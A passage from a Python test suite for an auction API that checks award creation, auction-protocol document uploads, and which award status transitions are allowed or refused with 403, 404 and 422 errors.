{u'description': [{u'contactPoint': [u'This field is required.'], u'identifier': {u'scheme': [u'This field is required.'], u'id': [u'This field is required.'], u'uri': [u'Not a well formed URL.']}, u'address': [u'This field is required.']}], u'location': u'body', u'name': u'suppliers'},
{u'description': [u'This field is required.'], u'location': u'body', u'name': u'bid_id'}
])
response = self.app.post_json(request_path, {'data': {
'suppliers': [self.initial_organization],
'status': 'pending.verification',
'bid_id': self.initial_bids[0]['id'],
'lotID': '0' * 32
}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': [u'lotID should be one of lots'], u'location': u'body', u'name': u'lotID'}
])
response = self.app.post_json('/auctions/some_id/awards', {'data': {
'suppliers': [self.initial_organization], 'bid_id': self.initial_bids[0]['id']}}, status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
response = self.app.get('/auctions/some_id/awards', status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
self.set_status('complete')
response = self.app.post_json('/auctions/{}/awards'.format(
self.auction_id), {'data': {'suppliers': [self.initial_organization], 'status': 'pending.verification', 'bid_id': self.initial_bids[0]['id']}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't create award in current (complete) auction status")
def test_create_auction_award(self):
request_path = '/auctions/{}/awards'.format(self.auction_id)
now = get_now()
response = self.app.post_json(request_path, {'data': {'suppliers': [self.initial_organization], 'bid_id': self.initial_bids[0]['id']}})
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
award = response.json['data']
self.assertEqual(award['suppliers'][0]['name'], self.initial_organization['name'])
self.assertIn('id', award)
self.assertIn(award['id'], response.headers['Location'])
response = self.app.get(request_path)
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data'][-1], award)
bid_token = self.initial_bids_tokens[self.initial_bids[0]['id']]
response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format(
self.auction_id, award['id'], bid_token), upload_files=[('file', 'auction_protocol.pdf', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
self.assertEqual('auction_protocol.pdf', response.json["data"]["title"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, award['id'], doc_id, bid_token), {"data": {
"description": "auction protocol",
"documentType": 'auctionProtocol'
}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertIn("documentType", response.json["data"])
self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol')
response = self.app.get('/auctions/{}/awards/{}/documents/{}'.format(self.auction_id, award['id'], doc_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual('auctionProtocol', response.json["data"]["documentType"])
self.assertEqual('auction_protocol.pdf', response.json["data"]["title"])
self.assertEqual('bid_owner', response.json["data"]["author"])
response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format(
self.auction_id, award['id'], self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
self.assertEqual('auction_protocol.pdf', response.json["data"]["title"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, award['id'], doc_id, self.auction_token), {"data": {
"description": "auction protocol",
"documentType": 'auctionProtocol'
}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertIn("documentType", response.json["data"])
self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol')
response = self.app.get('/auctions/{}/awards/{}/documents/{}'.format(self.auction_id, award['id'], doc_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual('auctionProtocol', response.json["data"]["documentType"])
self.assertEqual('auction_protocol.pdf', response.json["data"]["title"])
self.assertEqual('auction_owner', response.json["data"]["author"])
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, award['id']), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], u'pending.payment')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, award['id']), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], u'active')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], u'active.awarded')
class InsiderAuctionAwardProcessTest(BaseInsiderAuctionWebTest):
#initial_data = auction_data
initial_status = 'active.auction'
initial_bids = test_financial_bids
def upload_auction_protocol(self, award):
award_id = award['id']
bid_token = self.initial_bids_tokens[award['bid_id']]
response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format(
self.auction_id, award_id, bid_token), upload_files=[('file', 'auction_protocol.pdf', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
self.assertEqual('auction_protocol.pdf', response.json["data"]["title"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, award_id, doc_id, bid_token), {"data": {
"description": "auction protocol",
"documentType": 'auctionProtocol'
}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertIn("documentType", response.json["data"])
self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol')
response = self.app.post('/auctions/{}/awards/{}/documents?acc_token={}'.format(
self.auction_id, award_id, self.auction_token), upload_files=[('file', 'auction_protocol.pdf', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
self.assertEqual('auction_protocol.pdf', response.json["data"]["title"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.patch_json(
'/auctions/{}/awards/{}/documents/{}?acc_token={}'.format(self.auction_id, award_id, doc_id, self.auction_token),
{"data": {
"description": "auction protocol",
"documentType": 'auctionProtocol'
}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertIn("documentType", response.json["data"])
self.assertEqual(response.json["data"]["documentType"], 'auctionProtocol')
response = self.app.get('/auctions/{}/awards/{}/documents'.format(self.auction_id,award_id, doc_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual('auctionProtocol', response.json["data"][0]["documentType"])
self.assertEqual('auction_protocol.pdf', response.json["data"][0]["title"])
self.assertEqual('bid_owner', response.json["data"][0]["author"])
self.assertEqual('auctionProtocol', response.json["data"][1]["documentType"])
self.assertEqual('auction_owner', response.json["data"][1]["author"])
def setUp(self):
super(InsiderAuctionAwardProcessTest, self).setUp()
authorization = self.app.authorization
self.app.authorization = ('Basic', ('auction', ''))
now = get_now()
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
auction = response.json['data']
value_threshold = auction['value']['amount'] + auction['minimalStep']['amount']
now = get_now()
auction_result = {
'bids': [
{
"id": b['id'],
"date": (now - timedelta(seconds=i)).isoformat(),
"value": {"amount": value_threshold * 2},
}
for i, b in enumerate(self.initial_bids)
]
}
response = self.app.post_json('/auctions/{}/auction'.format(self.auction_id), {'data': auction_result})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
auction = response.json['data']
self.assertEqual('active.qualification', auction["status"])
self.first_award = auction['awards'][0]
self.second_award = auction['awards'][1]
self.first_award_id = self.first_award['id']
self.second_award_id = self.second_award['id']
self.app.authorization = authorization
def test_invalid_patch_auction_award(self):
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award status to (pending.payment) before auction owner load auction protocol")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.waiting"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.verification) status to (pending.waiting) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.verification) status to (active) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "cancelled"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.verification) status to (cancelled) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "unsuccessful"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (unsuccessful) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.verification"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.verification) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.payment) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (active) status")
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.waiting"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.verification) status to (pending.waiting) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.verification) status to (active) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "cancelled"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.verification) status to (cancelled) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "unsuccessful"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (unsuccessful) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.verification"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.verification) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.payment) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (active) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], "pending.payment")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "cancelled"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.payment) status to (cancelled) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.waiting"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.payment) status to (pending.waiting) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.verification"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.payment) status to (pending.verification) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "unsuccessful"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (unsuccessful) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.verification"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.verification) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.payment) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (active) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], "active")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "cancelled"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (active) status to (cancelled) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.waiting"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (active) status to (pending.waiting) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.verification"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (active) status to (pending.verification) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (active) status to (pending.payment) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "unsuccessful"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (unsuccessful) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.verification"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.verification) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (pending.payment) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't switch award (pending.waiting) status to (active) status")
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], "unsuccessful")
self.assertIn('Location', response.headers)
self.assertIn(self.second_award_id, response.headers['Location'])
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't update award in current (unsuccessful) status")
self.upload_auction_protocol(self.second_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
def test_patch_auction_award(self):
request_path = '/auctions/{}/awards'.format(self.auction_id)
response = self.app.get(request_path)
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(len(response.json['data']), 2)
response = self.app.patch_json('/auctions/{}/awards/some_id'.format(self.auction_id), {"data": {"status": "unsuccessful"}}, status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'award_id'}
])
response = self.app.patch_json('/auctions/some_id/awards/some_id', {"data": {"status": "unsuccessful"}}, status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"awardStatus": "unsuccessful"}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'], [
{"location": "body", "name": "awardStatus", "description": "Rogue field"}
])
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertIn('Location', response.headers)
new_award_location = response.headers['Location']
self.assertIn(self.second_award_id, new_award_location)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't update award in current (unsuccessful) status")
response = self.app.get(request_path)
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(len(response.json['data']), 2)
self.assertIn(response.json['data'][1]['id'], new_award_location)
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token={}'.format(self.auction_id, self.second_award_id, self.auction_token),
{"data": {"title": "title", "description": "description"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['title'], 'title')
self.assertEqual(response.json['data']['description'], 'description')
self.upload_auction_protocol(self.second_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']["value"]["amount"], 200)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "unsuccessful"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't update award in current (complete) auction status")
def test_patch_auction_award_admin(self):
request_path = '/auctions/{}/awards'.format(self.auction_id)
response = self.app.get(request_path)
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(len(response.json['data']), 2)
authorization = self.app.authorization
self.app.authorization = ('Basic', ('administrator', ''))
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id),
{"data":{
"paymentPeriod": {'endDate': self.first_award['paymentPeriod']['startDate']},
"verificationPeriod": {'endDate': self.first_award['verificationPeriod']['startDate']},
"signingPeriod": {'endDate': self.first_award['signingPeriod']['startDate']}}
})
self.assertEqual(response.status, '200 OK')
first_award = response.json['data']
self.assertEqual(first_award['verificationPeriod']['startDate'], first_award['verificationPeriod']['endDate'])
self.assertEqual(first_award['paymentPeriod']['startDate'], first_award['paymentPeriod']['endDate'])
self.assertEqual(first_award['signingPeriod']['startDate'], first_award['signingPeriod']['endDate'])
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id),
{"data":{
"status": 'active',
"paymentPeriod": {'endDate': None},
"verificationPeriod": {'endDate': None},
"signingPeriod": {'endDate': None}}
})
self.assertEqual(response.status, '200 OK')
first_award = response.json['data']
self.assertNotEqual(first_award['status'], 'active')
self.assertNotEqual(first_award['paymentPeriod']['startDate'], first_award['paymentPeriod']['endDate'])
self.assertEqual(first_award['paymentPeriod']['endDate'], self.first_award['paymentPeriod']['endDate'])
self.assertNotEqual(first_award['verificationPeriod']['startDate'], first_award['verificationPeriod']['endDate'])
self.assertEqual(first_award['verificationPeriod']['endDate'], self.first_award['verificationPeriod']['endDate'])
self.assertNotEqual(first_award['signingPeriod']['startDate'], first_award['signingPeriod']['endDate'])
self.assertEqual(first_award['signingPeriod']['endDate'], self.first_award['signingPeriod']['endDate'])
self.app.authorization = authorization
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'complete')
def test_complate_auction_with_second_award1(self):
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertIn('Location', response.headers)
self.assertIn(self.second_award_id, response.headers['Location'])
self.upload_auction_protocol(self.second_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']["value"]["amount"], 200)
def test_complate_auction_with_second_award2(self):
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertIn('Location', response.headers)
self.assertIn(self.second_award_id, response.headers['Location'])
self.upload_auction_protocol(self.second_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']["value"]["amount"], 200)
def test_complate_auction_with_second_award3(self):
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertIn('Location', response.headers)
self.assertIn(self.second_award_id, response.headers['Location'])
self.upload_auction_protocol(self.second_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']["value"]["amount"], 200)
def test_successful_second_auction_award(self):
request_path = '/auctions/{}/awards'.format(self.auction_id)
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
